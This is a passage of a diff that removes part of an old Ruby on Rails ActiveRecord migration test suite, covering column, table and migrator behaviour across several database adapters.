-      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
-      Person.reset_column_information
-
-      # Do a manual insertion
-      if current_adapter?(:OracleAdapter)
-        Person.connection.execute "insert into people (id, wealth) values (people_seq.nextval, 12345678901234567890.0123456789)"
-      elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
-        Person.connection.execute "insert into people (wealth) values ('12345678901234567890.0123456789')"
-      else
-        Person.connection.execute "insert into people (wealth) values (12345678901234567890.0123456789)"
-      end
-
-      # SELECT
-      row = Person.find(:first)
-      assert_kind_of BigDecimal, row.wealth
-
-      # If this assert fails, that means the SELECT is broken!
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal correct_value, row.wealth
-      end
-
-      # Reset to old state
-      Person.delete_all
-
-      # Now use the Rails insertion
-      assert_nothing_raised { Person.create :wealth => BigDecimal.new("12345678901234567890.0123456789") }
-
-      # SELECT
-      row = Person.find(:first)
-      assert_kind_of BigDecimal, row.wealth
-
-      # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal correct_value, row.wealth
-      end
-
-      # Reset to old state
-      Person.connection.del_column "people", "wealth" rescue nil
-      Person.reset_column_information
-    end
-
-    def test_add_column_with_precision_and_scale
-      Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
-      Person.reset_column_information
-
-      wealth_column = Person.columns_hash['wealth']
-      assert_equal 9, wealth_column.precision
-      assert_equal 7, wealth_column.scale
-    end
-
-    def test_native_types
-      Person.delete_all
-      Person.connection.add_column "people", "last_name", :string
-      Person.connection.add_column "people", "bio", :text
-      Person.connection.add_column "people", "age", :integer
-      Person.connection.add_column "people", "height", :float
-      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
-      Person.connection.add_column "people", "birthday", :datetime
-      Person.connection.add_column "people", "favorite_day", :date
-      Person.connection.add_column "people", "moment_of_truth", :datetime
-      Person.connection.add_column "people", "male", :boolean
-      Person.reset_column_information
-
-      assert_nothing_raised do
-        Person.create :first_name => 'bob', :last_name => 'bobsen',
-          :bio => "I was born ....", :age => 18, :height => 1.78,
-          :wealth => BigDecimal.new("12345678901234567890.0123456789"),
-          :birthday => 18.years.ago, :favorite_day => 10.days.ago,
-          :moment_of_truth => "1782-10-10 21:40:18", :male => true
-      end
-
-      bob = Person.find(:first)
-      assert_equal 'bob', bob.first_name
-      assert_equal 'bobsen', bob.last_name
-      assert_equal "I was born ....", bob.bio
-      assert_equal 18, bob.age
-
-      # Test for 30 significent digits (beyond the 16 of float), 10 of them
-      # after the decimal place.
-
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
-      end
-
-      assert_equal true, bob.male?
-
-      assert_equal String, bob.first_name.class
-      assert_equal String, bob.last_name.class
-      assert_equal String, bob.bio.class
-      assert_equal Fixnum, bob.age.class
-      assert_equal Time, bob.birthday.class
-
-      if current_adapter?(:OracleAdapter, :SybaseAdapter)
-        # Sybase, and Oracle don't differentiate between date/time
-        assert_equal Time, bob.favorite_day.class
-      else
-        assert_equal Date, bob.favorite_day.class
-      end
-
-      # Test DateTime column and defaults, including timezone.
-      # FIXME: moment of truth may be Time on 64-bit platforms.
-      if bob.moment_of_truth.is_a?(DateTime)
-
-        with_env_tz 'US/Eastern' do
-          assert_equal DateTime.local_offset, bob.moment_of_truth.offset
-          assert_not_equal 0, bob.moment_of_truth.offset
-          assert_not_equal "Z", bob.moment_of_truth.zone
-          # US/Eastern is -5 hours from GMT
-          assert_equal Rational(-5, 24), bob.moment_of_truth.offset
-          assert_match /\A-05:?00\Z/, bob.moment_of_truth.zone #ruby 1.8.6 uses HH:MM, prior versions use HHMM
-          assert_equal DateTime::ITALY, bob.moment_of_truth.start
-        end
-      end
-
-      assert_equal TrueClass, bob.male?.class
-      assert_kind_of BigDecimal, bob.wealth
-    end
-
-    if current_adapter?(:MysqlAdapter)
-      def test_unabstracted_database_dependent_types
-        Person.delete_all
-
-        ActiveRecord::Migration.add_column :people, :intelligence_quotient, :tinyint
-        Person.reset_column_information
-        assert_match /tinyint/, Person.columns_hash['intelligence_quotient'].sql_type
-      ensure
-        ActiveRecord::Migration.remove_column :people, :intelligence_quotient rescue nil
-      end
-    end
-
-    def test_add_remove_single_field_using_string_arguments
-      assert !Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.add_column 'people', 'last_name', :string
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.remove_column 'people', 'last_name'
-
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-    end
-
-    def test_add_remove_single_field_using_symbol_arguments
-      assert !Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.add_column :people, :last_name, :string
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.remove_column :people, :last_name
-
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-    end
-
-    if current_adapter?(:MysqlAdapter)
-      def testing_table_for_positioning
-        Person.connection.create_table :testings, :id => false do |t|
-          t.column :first, :integer
-          t.column :second, :integer
-          t.column :third, :integer
-        end
-
-        yield Person.connection
-      ensure
-        Person.connection.drop_table :testings rescue nil
-      end
-      protected :testing_table_for_positioning
-
-      def test_column_positioning
-        testing_table_for_positioning do |conn|
-          assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-
-      def test_add_column_with_positioning
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer
-          assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer, :first => true
-          assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer, :after => :first
-          assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-
-      def test_change_column_with_positioning
-        testing_table_for_positioning do |conn|
-          conn.change_column :testings, :second, :integer, :first => true
-          assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.change_column :testings, :second, :integer, :after => :third
-          assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-    end
-
-    def test_add_rename
-      Person.delete_all
-
-      begin
-        Person.connection.add_column "people", "girlfriend", :string
-        Person.reset_column_information
-        Person.create :girlfriend => 'bobette'
-
-        Person.connection.rename_column "people", "girlfriend", "exgirlfriend"
-
-        Person.reset_column_information
-        bob = Person.find(:first)
-
-        assert_equal "bobette", bob.exgirlfriend
-      ensure
-        Person.connection.remove_column("people", "girlfriend") rescue nil
-        Person.connection.remove_column("people", "exgirlfriend") rescue nil
-      end
-
-    end
-
-    def test_rename_column_using_symbol_arguments
-      begin
-        names_before = Person.find(:all).map(&:first_name)
-        Person.connection.rename_column :people, :first_name, :nick_name
-        Person.reset_column_information
-        assert Person.column_names.include?("nick_name")
-        assert_equal names_before, Person.find(:all).map(&:nick_name)
-      ensure
-        Person.connection.remove_column("people","nick_name")
-        Person.connection.add_column("people","first_name", :string)
-      end
-    end
-
-    def test_rename_column
-      begin
-        names_before = Person.find(:all).map(&:first_name)
-        Person.connection.rename_column "people", "first_name", "nick_name"
-        Person.reset_column_information
-        assert Person.column_names.include?("nick_name")
-        assert_equal names_before, Person.find(:all).map(&:nick_name)
-      ensure
-        Person.connection.remove_column("people","nick_name")
-        Person.connection.add_column("people","first_name", :string)
-      end
-    end
-
-    def test_rename_column_preserves_default_value_not_null
-      begin
-        default_before = Developer.connection.columns("developers").find { |c| c.name == "salary" }.default
-        assert_equal 70000, default_before
-        Developer.connection.rename_column "developers", "salary", "anual_salary"
-        Developer.reset_column_information
-        assert Developer.column_names.include?("anual_salary")
-        default_after = Developer.connection.columns("developers").find { |c| c.name == "anual_salary" }.default
-        assert_equal 70000, default_after
-      ensure
-        Developer.connection.rename_column "developers", "anual_salary", "salary"
-        Developer.reset_column_information
-      end
-    end
-
-    def test_rename_nonexistent_column
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :default => nil
-      end
-      exception = if current_adapter?(:PostgreSQLAdapter)
-        ActiveRecord::StatementInvalid
-      else
-        ActiveRecord::ActiveRecordError
-      end
-      assert_raise(exception) do
-        Person.connection.rename_column "hats", "nonexistent", "should_fail"
-      end
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_rename_column_with_sql_reserved_word
-      begin
-        assert_nothing_raised { Person.connection.rename_column "people", "first_name", "group" }
-        Person.reset_column_information
-        assert Person.column_names.include?("group")
-      ensure
-        Person.connection.remove_column("people", "group") rescue nil
-        Person.connection.add_column("people", "first_name", :string) rescue nil
-      end
-    end
-
-    def test_rename_column_with_an_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-      end
-      Person.connection.add_index :hats, :hat_name
-      assert_nothing_raised do
-        Person.connection.rename_column "hats", "hat_name", "name"
-      end
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_with_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-      end
-      ActiveRecord::Base.connection.add_index "hats", "hat_size"
-
-      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_with_multi_column_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-        table.column :hat_style, :string, :limit => 100
-      end
-      ActiveRecord::Base.connection.add_index "hats", ["hat_style", "hat_size"], :unique => true
-
-      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_no_second_parameter_raises_exception
-      assert_raise(ArgumentError) { Person.connection.remove_column("funny") }
-    end
-
-    def test_change_type_of_not_null_column
-      assert_nothing_raised do
-        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
-        Topic.reset_column_information
-
-        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
-        Topic.reset_column_information
-      end
-    end
-
-    def test_rename_table
-      begin
-        ActiveRecord::Base.connection.create_table :octopuses do |t|
-          t.column :url, :string
-        end
-        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
-
-        # Using explicit id in insert for compatibility across all databases
-        con = ActiveRecord::Base.connection
-        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
-        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
-
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
-
-      ensure
-        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
-        ActiveRecord::Base.connection.drop_table :octopi rescue nil
-      end
-    end
-
-    def test_change_column_nullability
-      Person.delete_all
-      Person.connection.add_column "people", "funny", :boolean
-      Person.reset_column_information
-      assert Person.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
-      Person.connection.change_column "people", "funny", :boolean, :null => false, :default => true
-      Person.reset_column_information
-      assert !Person.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
-      Person.connection.change_column "people", "funny", :boolean, :null => true
-      Person.reset_column_information
-      assert Person.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
-    end
-
-    def test_rename_table_with_an_index
-      begin
-        ActiveRecord::Base.connection.create_table :octopuses do |t|
-          t.column :url, :string
-        end
-        ActiveRecord::Base.connection.add_index :octopuses, :url
-
-        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
-
-        # Using explicit id in insert for compatibility across all databases
-        con = ActiveRecord::Base.connection
-        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
-        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
-
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
-        assert ActiveRecord::Base.connection.indexes(:octopi).first.columns.include?("url")
-      ensure
-        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
-        ActiveRecord::Base.connection.drop_table :octopi rescue nil
-      end
-    end
-
-    def test_change_column
-      Person.connection.add_column 'people', 'age', :integer
-      old_columns = Person.connection.columns(Person.table_name, "#{name} Columns")
-      assert old_columns.find { |c| c.name == 'age' and c.type == :integer }
-
-      assert_nothing_raised { Person.connection.change_column "people", "age", :string }
-
-      new_columns = Person.connection.columns(Person.table_name, "#{name} Columns")
-      assert_nil new_columns.find { |c| c.name == 'age' and c.type == :integer }
-      assert new_columns.find { |c| c.name == 'age' and c.type == :string }
-
-      old_columns = Topic.connection.columns(Topic.table_name, "#{name} Columns")
-      assert old_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
-      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => false }
-      new_columns = Topic.connection.columns(Topic.table_name, "#{name} Columns")
-      assert_nil new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
-      assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
-      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => true }
-    end
-
-    def test_change_column_with_nil_default
-      Person.connection.add_column "people", "contributor", :boolean, :default => true
-      Person.reset_column_information
-      assert Person.new.contributor?
-
-      assert_nothing_raised { Person.connection.change_column "people", "contributor", :boolean, :default => nil }
-      Person.reset_column_information
-      assert !Person.new.contributor?
-      assert_nil Person.new.contributor
-    ensure
-      Person.connection.remove_column("people", "contributor") rescue nil
-    end
-
-    def test_change_column_with_new_default
-      Person.connection.add_column "people", "administrator", :boolean, :default => true
-      Person.reset_column_information
-      assert Person.new.administrator?
-
-      assert_nothing_raised { Person.connection.change_column "people", "administrator", :boolean, :default => false }
-      Person.reset_column_information
-      assert !Person.new.administrator?
-    ensure
-      Person.connection.remove_column("people", "administrator") rescue nil
-    end
-
-    def test_change_column_default
-      Person.connection.change_column_default "people", "first_name", "Tester"
-      Person.reset_column_information
-      assert_equal "Tester", Person.new.first_name
-    end
-
-    def test_change_column_quotes_column_names
-      Person.connection.create_table :testings do |t|
-        t.column :select, :string
-      end
-
-      assert_nothing_raised { Person.connection.change_column :testings, :select, :string, :limit => 10 }
-
-      assert_nothing_raised { Person.connection.execute "insert into testings (#{Person.connection.quote_column_name('select')}) values ('7 chars')" }
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_keeping_default_and_notnull_constaint_on_change
-      Person.connection.create_table :testings do |t|
-        t.column :title, :string
-      end
-      person_klass = Class.new(Person)
-      person_klass.set_table_name 'testings'
-
-      person_klass.connection.add_column "testings", "wealth", :integer, :null => false, :default => 99
-      person_klass.reset_column_information
-      assert_equal 99, person_klass.columns_hash["wealth"].default
-      assert_equal false, person_klass.columns_hash["wealth"].null
-      assert_nothing_raised {person_klass.connection.execute("insert into testings (title) values ('tester')")}
-
-      # change column default to see that column doesn't lose its not null definition
-      person_klass.connection.change_column_default "testings", "wealth", 100
-      person_klass.reset_column_information
-      assert_equal 100, person_klass.columns_hash["wealth"].default
-      assert_equal false, person_klass.columns_hash["wealth"].null
-
-      # rename column to see that column doesn't lose its not null and/or default definition
-      person_klass.connection.rename_column "testings", "wealth", "money"
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["wealth"]
-      assert_equal 100, person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-
-      # change column
-      person_klass.connection.change_column "testings", "money", :integer, :null => false, :default => 1000
-      person_klass.reset_column_information
-      assert_equal 1000, person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-
-      # change column, make it nullable and clear default
-      person_klass.connection.change_column "testings", "money", :integer, :null => true, :default => nil
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["money"].default
-      assert_equal true, person_klass.columns_hash["money"].null
-
-      # change_column_null, make it not nullable and set null values to a default value
-      person_klass.connection.execute('UPDATE testings SET money = NULL')
-      person_klass.connection.change_column_null "testings", "money", false, 2000
-      person_klass.reset_column_information
-      assert_nil person_klass.columns_hash["money"].default
-      assert_equal false, person_klass.columns_hash["money"].null
-      assert_equal [2000], Person.connection.select_values("SELECT money FROM testings").map { |s| s.to_i }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-    end
-
-    def test_change_column_default_to_null
-      Person.connection.change_column_default "people", "first_name", nil
-      Person.reset_column_information
-      assert_nil Person.new.first_name
-    end
-
-    def test_add_table
-      assert !Reminder.table_exists?
-
-      WeNeedReminders.up
-
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      WeNeedReminders.down
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
-    end
-
-    def test_add_table_with_decimals
-      Person.connection.drop_table :big_numbers rescue nil
-
-      assert !BigNumber.table_exists?
-      GiveMeBigNumbers.up
-
-      assert BigNumber.create(
-        :bank_balance => 1586.43,
-        :big_bank_balance => BigDecimal("1000234000567.95"),
-        :world_population => 6000000000,
-        :my_house_population => 3,
-        :value_of_e => BigDecimal("2.7182818284590452353602875")
-      )
-
-      b = BigNumber.find(:first)
-      assert_not_nil b
-
-      assert_not_nil b.bank_balance
-      assert_not_nil b.big_bank_balance
-      assert_not_nil b.world_population
-      assert_not_nil b.my_house_population
-      assert_not_nil b.value_of_e
-
-      # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
-      # is_a?(Bignum)
-      assert_kind_of Integer, b.world_population
-      assert_equal 6000000000, b.world_population
-      assert_kind_of Fixnum, b.my_house_population
-      assert_equal 3, b.my_house_population
-      assert_kind_of BigDecimal, b.bank_balance
-      assert_equal BigDecimal("1586.43"), b.bank_balance
-      assert_kind_of BigDecimal, b.big_bank_balance
-      assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
-
-      # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
-      # precision/scale explicitly left out.  By the SQL standard, numbers
-      # assigned to this field should be truncated but that's seldom respected.
-      if current_adapter?(:PostgreSQLAdapter, :SQLite2Adapter)
-        # - PostgreSQL changes the SQL spec on columns declared simply as
-        # "decimal" to something more useful: instead of being given a scale
-        # of 0, they take on the compile-time limit for precision and scale,
-        # so the following should succeed unless you have used really wacky
-        # compilation options
-        # - SQLite2 has the default behavior of preserving all data sent in,
-        # so this happens there too
-        assert_kind_of BigDecimal, b.value_of_e
-        assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
-      elsif current_adapter?(:SQLiteAdapter)
-        # - SQLite3 stores a float, in violation of SQL
-        assert_kind_of BigDecimal, b.value_of_e
-        assert_equal BigDecimal("2.71828182845905"), b.value_of_e
-      else
-        # - SQL standard is an integer
-        assert_kind_of Fixnum, b.value_of_e
-        assert_equal 2, b.value_of_e
-      end
-
-      GiveMeBigNumbers.down
-      assert_raise(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
-    end
-
-    def test_migrator
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
-
-      assert_equal 3, ActiveRecord::Migrator.current_version
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid")
-
-      assert_equal 0, ActiveRecord::Migrator.current_version
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
-    end
-
-    def test_migrator_one_up
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 2)
-
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-    end
-
-    def test_migrator_one_down
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 1)
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-    end
-
-    def test_migrator_one_up_one_down
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-    end
-
-    def test_migrator_double_up
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
-      assert_nothing_raised { ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1) }
-      assert_equal(1, ActiveRecord::Migrator.current_version)
-    end
-
-    def test_migrator_double_down
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-      ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1)
-      assert_nothing_raised { ActiveRecord::Migrator.run(:down, MIGRATIONS_ROOT + "/valid", 1) }
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
-
-    if ActiveRecord::Base.connection.supports_ddl_transactions?
-      def test_migrator_one_up_with_exception_and_rollback
-        assert !Person.column_methods_hash.include?(:last_name)
-
-        e = assert_raise(StandardError) do
-          ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/broken", 100)
-        end
-
-        assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
-
-        Person.reset_column_information
-        assert !Person.column_methods_hash.include?(:last_name)
-      end
-    end
-
-    def test_finds_migrations
-      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid").migrations
-
-      [[1, 'PeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
-        assert_equal migrations[i].version, pair.first
-        assert_equal migrations[i].name, pair.last
-      end
-    end
-
-    def test_finds_pending_migrations
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
-      migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
-
-      assert_equal 1, migrations.size
-      assert_equal migrations[0].version, 3
-      assert_equal migrations[0].name, 'InnocentJointable'
-    end
-
-    def test_only_loads_pending_migrations
-      # migrate up to 1
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-
-      # now unload the migrations that have been defined
-      PeopleHaveLastNames.unloadable
-      ActiveSupport::Dependencies.remove_unloadable_constants!
-
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", nil)
-
-      assert !defined? PeopleHaveLastNames
-
-      %w(WeNeedReminders, InnocentJointable).each do |migration|
-        assert defined? migration
-      end
-
-    ensure
-      load(MIGRATIONS_ROOT + "/valid/1_people_have_last_names.rb")
-    end
-
-    def test_target_version_zero_should_run_only_once
-      # migrate up to 1
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
-
-      # migrate down to 0
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
-
-      # now unload the migrations that have been defined
-      PeopleHaveLastNames.unloadable
-      ActiveSupport::Dependencies.remove_unloadable_constants!
-
-      # migrate down to 0 again
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
-
-      assert !defined? PeopleHaveLastNames
-    ensure
-      load(MIGRATIONS_ROOT + "/valid/1_people_have_last_names.rb")
-    end
-
-    def test_migrator_interleaved_migrations
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_1")
-
-      assert_nothing_raised do
-        ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2")
-      end
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-
-      assert_nothing_raised do
-        ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/interleaved/pass_3")
-      end
-    end
-
-    def test_migrator_db_has_no_schema_migrations_table
-      ActiveRecord::Base.connection.execute("DROP TABLE schema_migrations;")
-      assert_nothing_raised do
-        ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 1)
-      end
-    end
-
-    def test_migrator_verbosity
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      assert PeopleHaveLastNames.message_count > 0
-      PeopleHaveLastNames.message_count = 0
-
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-      assert PeopleHaveLastNames.message_count > 0
-      PeopleHaveLastNames.message_count = 0
-    end
-
-    def test_migrator_verbosity_off
-      PeopleHaveLastNames.verbose = false
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      assert PeopleHaveLastNames.message_count.zero?
-      ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 0)
-      assert PeopleHaveLastNames.message_count.zero?
-    end
-
-    def test_migrator_going_down_due_to_version_target
-      ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", 1)
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid", 0)
-
-      assert !Person.column_methods_hash.include?(:last_name)
-      assert !Reminder.table_exists?
-
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-      assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
-      assert_equal "hello world", Reminder.find(:first).content
-    end
-
-    def test_migrator_rollback
-      ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
-      assert_equal(3, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(2, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(1, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-
-      ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
-      assert_equal(0, ActiveRecord::Migrator.current_version)
-    end
-
-    def test_schema_migrations_table_name
-      ActiveRecord::Base.table_name_prefix = "prefix_"
-      ActiveRecord::Base.table_name_suffix = "_suffix"
-      Reminder.reset_table_name
-      assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-      Reminder.reset_table_name
-      assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
-    ensure
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-    end
-
-    def test_proper_table_name
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
-      assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
-      assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
-      Reminder.reset_table_name
-      assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
-
-      # Use the model's own prefix/suffix if a model is given
-      ActiveRecord::Base.table_name_prefix = "ARprefix_"
-      ActiveRecord::Base.table_name_suffix = "_ARsuffix"
-      Reminder.table_name_prefix = 'prefix_'
-      Reminder.table_name_suffix = '_suffix'
-      Reminder.reset_table_name
-      assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
-      Reminder.table_name_prefix = ''
-      Reminder.table_name_suffix = ''
-      Reminder.reset_table_name
-
-      # Use AR::Base's prefix/suffix if string or symbol is given
-      ActiveRecord::Base.table_name_prefix = "prefix_"
-      ActiveRecord::Base.table_name_suffix = "_suffix"
-      Reminder.reset_table_name
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
-      assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
-      ActiveRecord::Base.table_name_prefix = ""
-      ActiveRecord::Base.table_name_suffix = ""
-      Reminder.reset_table_name
-    end
-
-    def test_add_drop_table_with_prefix_and_suffix
-      assert !Reminder.table_exists?
-      ActiveRecord::Base.table_name_prefix = 'prefix_'
-      ActiveRecord::Base.table_name_suffix = '_suffix'
-      Reminder.reset_table_name
-      Reminder.reset_sequence_name
-      WeNeedReminders.up
